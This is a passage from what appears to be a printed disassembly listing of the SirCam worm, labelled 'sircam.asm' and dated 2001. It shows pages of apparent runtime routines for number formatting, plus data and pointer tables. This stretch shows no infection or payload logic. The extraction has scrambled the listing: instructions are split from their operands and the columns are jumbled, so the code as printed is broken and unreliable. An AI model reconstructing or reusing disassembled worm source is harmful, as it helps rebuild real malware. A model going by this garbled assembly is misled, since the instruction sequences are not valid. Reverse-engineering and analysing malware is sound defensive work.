; CODE XREF: sub_40A5A0+23\030j
eax, [ebx+20h]
[ebx+24h], eax
eax, eax
[ebx+20h], eax
eax, eax
[ebx+2Ch], eax
byte ptr [ebx+34h], 1
; CODE XREF: sub_40A5A0+10\030j
inc
dword ptr [ebx+20h]
pop
ebx
retn
endp ; sp = -4
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
align 4
; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
sub_40A5EC
sub_40A5EC
proc near
mov
edx, [eax]
xor
ecx, ecx
mov
[eax], ecx
mov
eax, edx
call
sub_402BDC
retn
endp
; CODE XREF: sub_40B194+22\031p
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
align 4
dword_40A5FC
dd 1Dh
; DATA XREF: sub_40B2D4+1A\031o
dd offset unk_41C2DC
dd offset off_41DBF4
dd offset unk_41C2D4
dd offset off_41DB98
dd offset unk_41C2CC
dd offset off_41DAD8
dd offset unk_41C2C4
dd offset off_41DC0C
dd offset unk_41C2BC
dd offset off_41DC20
dd offset unk_41C2B4
dd offset off_41DB3C
dd offset unk_41C2AC
dd offset off_41DB88
dd offset unk_41C2A4
dd offset off_41DAB8
dd offset unk_41C29C
dd offset off_41DBA4
dd offset unk_41C294
dd offset off_41DBBC
dd offset unk_41C28C
dd offset off_41DB68
dd offset unk_41C284
dd offset off_41DB6C
dd offset unk_41C27C
dd offset off_41DC5C
dd offset unk_41C274
dd offset off_41DC50
dd offset unk_41C26C
dd offset off_41DC7C
dd offset unk_41C264
dd offset off_41DBE4
dd offset unk_41C25C
dd offset off_41DBD4
dd offset unk_41C254
dd offset off_41DC80
dd offset unk_41C24C
sircam.asm
dword_40A6E8
Fri Aug 10 12:42:44 2001
dd offset
dd offset
dd offset
dd offset
dd offset
dd offset
dd offset
dd offset
dd offset
dd offset
dd offset
dd offset
dd offset
dd offset
dd offset
dd offset
dd offset
dd offset
dd offset
dd offset
dd offset
dd 28h
dd offset
dd offset
align 8
dd offset
dd offset
dd 0
dd offset
dd offset
align 8
dd offset
dd offset
dd 0
dd offset
dd offset
align 8
dd offset
dd offset
dd 0
dd offset
dd offset
align 8
dd offset
dd offset
dd 0
dd offset
dd offset
align 8
dd offset
dd offset
dd 0
dd offset
dd offset
align 8
dd offset
dd offset
dd 0
dd offset
dd offset
align 8
dd offset
dd offset
dd 0
dd offset
dd offset
align 8
dd offset
dd offset
dd 0
285
off_41DC70
unk_41C244
off_41DB7C
unk_41C23C
off_41DC60
unk_41C234
off_41DC64
unk_41C22C
off_41DB18
unk_41C224
off_41DAF4
unk_41C21C
off_41DBD0
unk_41C214
off_41DC08
unk_41C20C
off_41DABC
unk_41C204
off_41DC58
dword_41C1FC
off_41DB78
; DATA XREF: sub_40B2D4+24\031o
off_41C1F4
off_41DC48
off_41C1F0
off_41DADC
off_41C1EC
off_41DC00
off_41C1E8
off_41DAC8
off_41C1E4
off_41DB00
off_41C1E0
off_41DAF8
off_41C1DC
off_41DAE4
off_41C1D8
off_41DB74
off_41C1D4
off_41DBE0
off_41C1D0
off_41DAFC
off_41C1CC
off_41DBC8
off_41C1C8
off_41DC1C
off_41C1C4
off_41DC14
off_41C1C0
off_41DBEC
off_41C1BC
off_41DB64
off_41C1B8
off_41DB34
sircam.asm
Fri Aug 10 12:42:44 2001
dd offset
dd offset
align 8
dd offset
dd offset
dd 0
dd offset
dd offset
align 8
dd offset
dd offset
dd 0
dd offset
dd offset
align 8
dd offset
dd offset
dd 0
dd offset
dd offset
align 8
dd offset
dd offset
dd 0
dd offset
dd offset
dd 0
dd offset
dd offset
dd 0
dd offset
dd offset
align 8
dd offset
dd offset
dd 0
dd offset
dd offset
align 8
dd offset
dd offset
dd 0
dd offset
dd offset
align 8
dd offset
dd offset
dd 0
dd offset
dd offset
align 8
dd offset
dd offset
dd 0
dd offset
dd offset
align 8
dd offset
dd offset
dd 0
dd offset
dd offset
align 8
dd offset
dd offset
dd 0
dd offset
dd offset
align 8
dd offset
off_41C1B4
off_41DAC4
off_41C1B0
off_41DC10
off_41C1AC
off_41DBB0
off_41C1A8
off_41DB2C
off_41C1A4
off_41DBA0
off_41C1A0
off_41DBD8
off_41C19C
off_41DBAC
off_41C198
off_41DB50
off_41C194
off_41DAC0
off_41C190
off_41DB8C
off_41C18C
off_41DC68
off_41C188
off_41DC44
off_41C184
off_41DBC4
off_41C180
off_41DB14
off_41C17C
off_41DACC
off_41C178
off_41DC3C
off_41C174
off_41DC8C
off_41C170
off_41DAEC
off_41C16C
off_41DAB4
off_41C168
off_41DC4C
off_41C164
off_41DBC0
off_41C160
off_41DC74
off_41C150
off_41DB80
off_41C14C
286
sircam.asm
flt_40A8C8
dword_40A8CC
Fri Aug 10 12:42:44 2001
dd offset off_41DB1C
dd 0.0
dd 0Ah
287
; DATA XREF: sub_40AFBF+5D\031r
; DATA XREF: sub_40AA4C+20\031r
; sub_40AEB8+70\031r ...
dd 64h, 3E8h, 2710h
tbyte_40A8DC
dt 1.0e18
; DATA XREF: sub_40AEB8+5B\031r
word_40A8E6
dw 133Fh
; DATA XREF: CODE:0040B0A6\031r
dword_40A8E8
dd 4E464E49h
; DATA XREF: sub_40A8EE+60\031r
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
inc
ecx
dec
esi
; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
; Attributes: bp-based frame
sub_40A8EE
proc near
var_1C
var_19
var_4
arg_0
arg_4
arg_8
=
=
=
=
=
=
; CODE XREF: CODE:00407AD2\030p
; CODE:0040AC59\031p
word ptr -1Ch
byte ptr -19h
dword ptr -4
dword ptr 8
dword ptr 0Ch
byte ptr 10h
push
mov
sub
push
push
push
mov
mov
cmp
jnz
mov
cmp
jge
mov
ebp
ebp, esp
esp, 1Ch
edi
esi
ebx
[ebp+var_4], eax
eax, 13h
cl, 0
short loc_40A91B
eax, [ebp+arg_4]
eax, 2
short loc_40A911
eax, 2
cmp
jle
mov
eax, 12h
short loc_40A91B
eax, 12h
loc_40A911:
; CODE XREF: sub_40A8EE+1C\030j
loc_40A91B:
; CODE XREF: sub_40A8EE+14\030j
; sub_40A8EE+26\030j
mov
push
mov
cmp
jb
mov
loc_40A92D:
[ebp+arg_4], eax
eax
eax, 270Fh
[ebp+arg_8], 2
short loc_40A92D
eax, [ebp+arg_0]
; CODE XREF: sub_40A8EE+3A\030j
push
eax
lea
eax, [ebp+var_1C]
call
sub_40AE91
mov
edi, [ebp+var_4]
movzx
eax, [ebp+var_1C]
sub
eax, 7FFFh
cmp
eax, 2
jnb
short loc_40A95E
mov
ecx, eax
call
sub_40A9AC
lea
esi, dword_40A8E8[ecx+ecx*2]
mov
ecx, 3
repe movsb
jmp
short loc_40A981
sircam.asm
Fri Aug 10 12:42:44 2001
288
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_40A95E:
lea
movzx
cmp
jz
cmp
ja
movsx
cmp
jle
; CODE XREF: sub_40A8EE+57\030j
esi, [ebp+var_19]
ebx, [ebp+arg_8]
bl, 1
short loc_40A97A
bl, 4
short loc_40A978
eax, [ebp+var_1C]
eax, [ebp+arg_4]
short loc_40A97A
mov
bl, 0
call
; CODE XREF: sub_40A8EE+7A\030j
; sub_40A8EE+88\030j
ds:off_40A98F[ebx*4]
loc_40A978:
; CODE XREF: sub_40A8EE+7F\030j
loc_40A97A:
loc_40A981:
sub_40A8EE
; CODE XREF: sub_40A8EE+6E\030j
mov
sub
pop
pop
pop
mov
pop
retn
endp
eax, edi
eax, [ebp+var_4]
ebx
esi
edi
esp, ebp
ebp
0Ch
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
off_40A98F
dd offset loc_40A9B6
; DATA XREF: sub_40A8EE+8C\030r
dd offset loc_40AA18
dd offset loc_40AA8B
dd offset loc_40AA8B
dd offset loc_40AAF1
; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
sub_40A9A3
proc near
lodsb
or
jnz
mov
dec
al, al
short locret_40A9AB
al, 30h
esi
locret_40A9AB:
sub_40A9A3
; CODE XREF: CODE:0040AA1D\031p
; CODE:0040AA2E\031p ...
; CODE XREF: sub_40A9A3+3\030j
retn
endp
; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
sub_40A9AC
proc near
cmp
jz
mov
stosb
locret_40A9B5:
sub_40A9AC
; CODE XREF: sub_40A8EE+5B\030p
; CODE:0040A9B6\031p ...
byte ptr [ebp-1Ah], 0
short locret_40A9B5
al, 2Dh
; CODE XREF: sub_40A9AC+4\030j
retn
endp
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
sircam.asm
Fri Aug 10 12:42:44 2001
loc_40A9B6:
289
; CODE XREF: sub_40A8EE+8C\030j
; DATA XREF: CODE:0040A98F\030o
call
sub_40A9AC
movsx
ecx, word ptr [ebp-1Ch]
xor
edx, edx
cmp
ecx, [ebp+0Ch]
jg
short loc_40A9E5
cmp
ecx, 0FFFFFFFDh
jl
short loc_40A9E5
or
ecx, ecx
jg
short loc_40A9EB
mov
al, 30h
stosb
cmp
byte ptr [esi], 0
jz
short locret_40AA17
mov
al, ds:byte_41E4EF
stosb
neg
ecx
mov
al, 30h
repe stosb
jmp
short loc_40AA01
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_40A9E5:
; CODE XREF: CODE:0040A9C4\030j
; CODE:0040A9C9\030j
mov
inc
ecx, 1
edx
loc_40A9EB:
; CODE XREF: CODE:0040A9CD\030j
; CODE:0040A9F1\031j
lodsb
or
jz
stosb
loop
lodsb
or
jz
mov
mov
stosw
al, al
short loc_40AA09
loc_40A9EB
al, al
short loc_40AA0D
ah, al
al, ds:byte_41E4EF
loc_40AA01:
; CODE XREF: CODE:0040A9E3\030j
; CODE:0040AA07\031j
lodsb
or
al, al
jz
short loc_40AA0D
stosb
jmp
short loc_40AA01
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_40AA09:
; CODE XREF: CODE:0040A9EE\030j
mov
al, 30h
repe stosb
loc_40AA0D:
; CODE XREF: CODE:0040A9F6\030j
; CODE:0040AA04\030j
or
edx, edx
jz
short locret_40AA17
xor
eax, eax
xor
ecx, ecx
jmp
short loc_40AA42
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
locret_40AA17:
; CODE XREF: CODE:0040A9D5\030j
; CODE:0040AA0F\030j
retn
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_40AA18:
; CODE XREF: sub_40A8EE+8C\030j
sircam.asm
Fri Aug 10 12:42:44 2001
call
call
mov
stosw
mov
dec
290
; DATA XREF: CODE:0040A993\030o
sub_40A9AC
sub_40A9A3
ah, ds:byte_41E4EF
ecx, [ebp+0Ch]
ecx
loc_40AA2E:
; CODE XREF: CODE:0040AA34\031j
call
stosb
loop
mov
mov
cmp
jb
xor
sub_40A9A3
loc_40AA2E
ah, 2Bh
ecx, [ebp+8]
ecx, 4
short loc_40AA42
ecx, ecx
loc_40AA42:
; CODE XREF: CODE:0040AA15\030j
; CODE:0040AA3E\030j
mov
mov
movsx
dec
al, 45h
bl, [ebp-19h]
edx, word ptr [ebp-1Ch]
edx
; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
sub_40AA4C
proc near
; CODE XREF: sub_40AD70+AD\031p
stosb
or
bl, bl
jnz
short loc_40AA55
xor
edx, edx
jmp
short loc_40AA5F
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_40AA55:
; CODE XREF: sub_40AA4C+3\030j
or
edx, edx
jge
short loc_40AA5F
mov
al, 2Dh
neg
edx
jmp
short loc_40AA65
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_40AA5F:
; CODE XREF: sub_40AA4C+7\030j
; sub_40AA4C+B\030j
or
jz
mov
ah, ah
short loc_40AA66
al, ah
loc_40AA65:
; CODE XREF: sub_40AA4C+11\030j
stosb
loc_40AA66:
; CODE XREF: sub_40AA4C+15\030j
xchg
push
mov
eax, edx
eax
ebx, esp
loc_40AA6A:
; CODE XREF: sub_40AA4C+2F\031j
; sub_40AA4C+33\031j
xor
div
add
mov
inc
dec
or
jnz
or
jg
edx, edx
ds:dword_40A8CC
dl, 30h
[ebx], dl
ebx
ecx
eax, eax
short loc_40AA6A
ecx, ecx
short loc_40AA6A
sircam.asm
Fri Aug 10 12:42:44 2001
loc_40AA81:
sub_40AA4C
291
; CODE XREF: sub_40AA4C+3B\031j
dec
mov
stosb
cmp
jnz
pop
retn
endp
ebx
al, [ebx]
ebx, esp
short loc_40AA81
eax
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_40AA8B:
; CODE XREF: sub_40A8EE+8C\030j
; DATA XREF: CODE:0040A997\030o ...
call
sub_40A9AC
; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
sub_40AA90
proc near
; CODE XREF: CODE:0040AB3D\031p
mov
edx, [ebp+8]
cmp
edx, 12h
jb
short loc_40AA9D
mov
edx, 12h
loc_40AA9D:
; CODE XREF: sub_40AA90+6\030j
movsx
ecx, word ptr [ebp-1Ch]
or
ecx, ecx
jg
short loc_40AAAA
mov
al, 30h
stosb
jmp
short loc_40AAD2
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_40AAAA:
xor
cmp
jz
mov
dec
mov
div
mov
inc
; CODE XREF: sub_40AA90+13\030j
ebx, ebx
byte ptr [ebp+10h], 2
short loc_40AABC
eax, ecx
eax
bl, 3
bl
bl, ah
ebx
loc_40AABC:
; CODE XREF: sub_40AA90+20\030j
; sub_40AA90+36\031j ...
call
sub_40A9A3
stosb
dec
ecx
jz
short loc_40AAD2
dec
ebx
jnz
short loc_40AABC
mov
al, ds:byte_41E4EE
stosb
mov
bl, 3
jmp
short loc_40AABC
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_40AAD2:
; CODE XREF: sub_40AA90+18\030j
; sub_40AA90+33\030j
or
jz
mov
stosb
jecxz
mov
loc_40AAE0:
edx, edx
short locret_40AAF0
al, ds:byte_41E4EF
short loc_40AAE7
al, 30h
; CODE XREF: sub_40AA90+55\031j
sircam.asm
Fri Aug 10 12:42:44 2001
stosb
dec
jz
inc
jnz
edx
short locret_40AAF0
ecx
short loc_40AAE0
loc_40AAE7:
; CODE XREF: sub_40AA90+4C\030j
; sub_40AA90+5E\031j
call
stosb
dec
jnz
sub_40A9A3
edx
short loc_40AAE7
locret_40AAF0:
sub_40AA90
292
; CODE XREF: sub_40AA90+44\030j
; sub_40AA90+52\030j
retn
endp
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_40AAF1:
; CODE XREF: sub_40A8EE+8C\030j
; DATA XREF: CODE:0040A99F\030o
xor
mov
mov
cmp
jz
mov
mov
ebx, ebx
bl, ds:byte_41E4EC
ecx, 3
byte ptr [ebp-1Ah], 0
short loc_40AB0F
bl, ds:byte_41E4ED
ecx, 40Fh
cmp
jbe
mov
bl, cl
short loc_40AB15
bl, cl
add
lea
mov
; CODE XREF: CODE:0040AB11\030j
bl, ch
ebx, dword_40AB5A[ebx+ebx*4]
ecx, 5
loc_40AB0F:
; CODE XREF: CODE:0040AB02\030j
loc_40AB15:
loc_40AB23:
; CODE XREF: CODE:0040AB45\031j
mov
al, [ebx]
cmp
al, 40h
jz
short locret_40AB47
push
ecx
push
ebx
cmp
al, 24h
jz
short loc_40AB36
cmp
al, 2Ah
jz
short loc_40AB3D
stosb
jmp
short loc_40AB42
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_40AB36:
; CODE XREF: CODE:0040AB2D\030j
call
sub_40AB48
jmp
short loc_40AB42
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_40AB3D:
; CODE XREF: CODE:0040AB31\030j
call
sub_40AA90
loc_40AB42:
; CODE XREF: CODE:0040AB34\030j
; CODE:0040AB3B\030j
pop
pop
inc
loop
locret_40AB47:
ebx
ecx
ebx
loc_40AB23
; CODE XREF: CODE:0040AB27\030j
sircam.asm
Fri Aug 10 12:42:44 2001
293
retn
; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
sub_40AB48
proc near
; CODE XREF: CODE:0040AB36\030p
push
esi
mov
esi, ds:dword_41E4E8
test
esi, esi
jz
short loc_40AB58
mov
ecx, [esi-4]
repe movsb
loc_40AB58:
sub_40AB48
; CODE XREF: sub_40AB48+9\030j
pop
retn
endp
esi
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
dword_40AB5A
dd 40402A24h, 40242A40h, 20244040h, 2A40402Ah, 40402420h
; DATA XREF: CODE:0040AB17\030r
dd 292A2428h, 2A242D40h, 2D244040h, 2440402Ah, 40402D2Ah
dd 29242A28h, 242A2D40h, 2D2A4040h, 2A404024h, 40402D24h
dd 24202A2Dh, 20242D40h, 202A402Ah, 24402D24h, 402D2A20h
dd 2A2D2024h, 202D2A40h, 24284024h, 28292A20h, 2924202Ah
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
push
ebp
mov
ebp, esp
sub
esp, 40h
push
edi
push
esi
push
ebx
mov
[ebp-4], eax
mov
edi, edx
mov
ebx, ecx
mov
ecx, 2
cmp
bl, 0
jz
short loc_40ABE7
mov
eax, [edi]
or
eax, [edi+4]
jz
short loc_40ABF9
mov
ecx, [edi+4]
shr
ecx, 1Fh
jmp
short loc_40ABF9
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_40ABE7:
movzx
or
or
jz
movzx
shr
; CODE XREF: CODE:0040ABD6\030j
eax, word ptr [edi+8]
eax, [edi]
eax, [edi+4]
short loc_40ABF9
ecx, word ptr [edi+8]
ecx, 0Fh
loc_40ABF9:
; CODE XREF: CODE:0040ABDD\030j
; CODE:0040ABE5\030j ...
call
jz
call
mov
mov
cmp
jnz
sub
mov
mov
sub_40AC8A
short loc_40AC4C
sub_40ACC5
eax, [ebp-14h]
edx, 270Fh
byte ptr [ebp-0Ch], 0
short loc_40AC1D
eax, [ebp-18h]
edx, eax
eax, 12h
push
push
eax
edx
loc_40AC1D:
; CODE XREF: CODE:0040AC11\030j
sircam.asm
Fri Aug 10 12:42:44 2001
lea
mov
mov
call
mov
cmp
jz
cmp
jz
cmp
jnz
cmp
jle
cmp
jnz
294
eax, [ebp-40h]
edx, edi
ecx, ebx
sub_40AE91
ax, [ebp-40h]
ax, 8000h
short loc_40AC4C
ax, 7FFFh
short loc_40AC4C
bl, 0
short loc_40AC60
ax, 12h
short loc_40AC60
byte ptr [ebp-0Ch], 0
short loc_40AC60
loc_40AC4C:
; CODE XREF: CODE:0040ABFE\030j
; CODE:0040AC33\030j ...
push
0
push
0Fh
push
0
mov
eax, [ebp-4]
mov
edx, edi
mov
ecx, ebx
call
sub_40A8EE
jmp
short loc_40AC81
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_40AC60:
cmp
jnz
mov
call
jz
cmp
jz
call
; CODE XREF: CODE:0040AC3E\030j
; CODE:0040AC44\030j ...
byte ptr [ebp-3Dh], 0
short loc_40AC7C
ecx, 2
sub_40AC8A
short loc_40AC4C
esi, [ebp-10h]
short loc_40AC7C
sub_40ACC5
loc_40AC7C:
; CODE XREF: CODE:0040AC64\030j
; CODE:0040AC75\030j
call
sub_40AD70
pop
pop
pop
mov
pop
retn
ebx
esi
edi
esp, ebp
ebp
4
loc_40AC81:
; CODE XREF: CODE:0040AC5E\030j
; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
sub_40AC8A
proc near
mov
jecxz
; CODE XREF: CODE:0040ABF9\030p
; CODE:0040AC6B\030p
esi, [ebp+8]
short loc_40ACAC
loc_40AC8F:
; CODE XREF: sub_40AC8A+14\031j
; sub_40AC8A+16\031j ...
lodsb
cmp
jz
cmp
jz
or
jz
cmp
jnz
al, 27h
short loc_40ACB8
al, 22h
short loc_40ACB8
al, al
short loc_40ACAC
al, 3Bh
short loc_40AC8F
sircam.asm
Fri Aug 10 12:42:44 2001
loop
mov
or
jz
cmp
jnz
295
loc_40AC8F
al, [esi]
al, al
short loc_40ACAC
al, 3Bh
short locret_40ACB7
loc_40ACAC:
; CODE XREF: sub_40AC8A+3\030j
; sub_40AC8A+10\030j ...
mov
mov
or
jz
cmp
esi, [ebp+8]
al, [esi]
al, al
short locret_40ACB7
al, 3Bh
locret_40ACB7:
; CODE XREF: sub_40AC8A+20\030j
; sub_40AC8A+29\030j
retn
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_40ACB8:
; CODE XREF: sub_40AC8A+8\030j
; sub_40AC8A+C\030j
mov
ah, al
loc_40ACBA:
sub_40AC8A
; CODE XREF: sub_40AC8A+37\031j
lodsb
cmp
jz
or
jnz
jmp
endp
al, ah
short loc_40AC8F
al, al
short loc_40ACBA
short loc_40ACAC
; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
sub_40ACC5
proc near
push
mov
mov
xor
xor
mov
mov
mov
; CODE XREF: CODE:0040AC00\030p
; CODE:0040AC77\030p
ebx
[ebp-10h], esi
ebx, 7FFFh
ecx, ecx
edx, edx
dword ptr [ebp-18h], 0FFFFFFFFh
[ebp-8], dl
[ebp-0Ch], dl
loc_40ACDF:
; CODE XREF: sub_40ACC5+41\031j
; sub_40ACC5+46\031j ...
lodsb
loc_40ACE0:
; CODE XREF: sub_40ACC5+78\031j
; sub_40ACC5+83\031j
cmp
jz
cmp
jz
cmp
jz
cmp
jz
cmp
jz
cmp
jz
cmp
jz
cmp
jz
al, 23h
short loc_40AD0A
al, 30h
short loc_40AD0D
al, 2Eh
short loc_40AD18
al, 2Ch
short loc_40AD23
al, 27h
short loc_40AD29
al, 22h
short loc_40AD29
al, 45h
short loc_40AD36
al, 65h
short loc_40AD36
sircam.asm
Fri Aug 10 12:42:44 2001
296
cmp
al, 3Bh
jz
short loc_40AD4A
or
al, al
jnz
short loc_40ACDF
jmp
short loc_40AD4A
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_40AD0A:
; CODE XREF: sub_40ACC5+1D\030j
inc
edx
jmp
short loc_40ACDF
